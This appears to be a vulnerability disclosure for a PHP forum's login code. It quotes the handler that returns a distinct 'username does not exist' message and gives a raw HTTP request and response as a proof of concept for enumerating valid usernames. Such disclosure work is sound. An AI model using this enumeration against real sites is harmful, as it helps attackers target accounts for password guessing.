include _include(APP_PATH.'view/htm/user_login.htm');

	} else if($method == 'POST') {

		// hook user_login_post_start.php
		
		$email = param('email');			// 邮箱或者手机号 / email or mobile
		$password = param('password');
		empty($email) AND message('email', lang('email_is_empty'));
		if(is_email($email, $err)) {
			$_user = user_read_by_email($email);
			empty($_user) AND message('email', lang('email_not_exists'));
		} else {
			$_user = user_read_by_username($email);
			empty($_user) AND message('email', lang('username_not_exists'));
		}
lang\zh-cn\bbs.php line 120;

'username_not_exists' => '用户名不存在',

Know the username by traversing the login parameter value

email=...&

POC:

POST /?user-login.htm HTTP/1.1
Host: 192.168.1.5
Content-Length: 54
Accept: text/plain, */*; q=0.01
Origin: http://127.0.0.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3941.4 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://127.0.0.1/?user-login.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bbs_sid=c0ku6ujq1411p9fqbf9vvdricn
Connection: close


email=test&password=4297f44b13955235245b2497399d7a93
Response

HTTP/1.1 200 OK
Date: Thu, 05 Dec 2019 14:51:29 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/7.2.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 60

{
    "code": "email",
    "message": "用户名不存在"
}

$_user = user_read_by_username($email);
empty($_user) AND message('email', lang('username_not_exists'));

message('email', $err);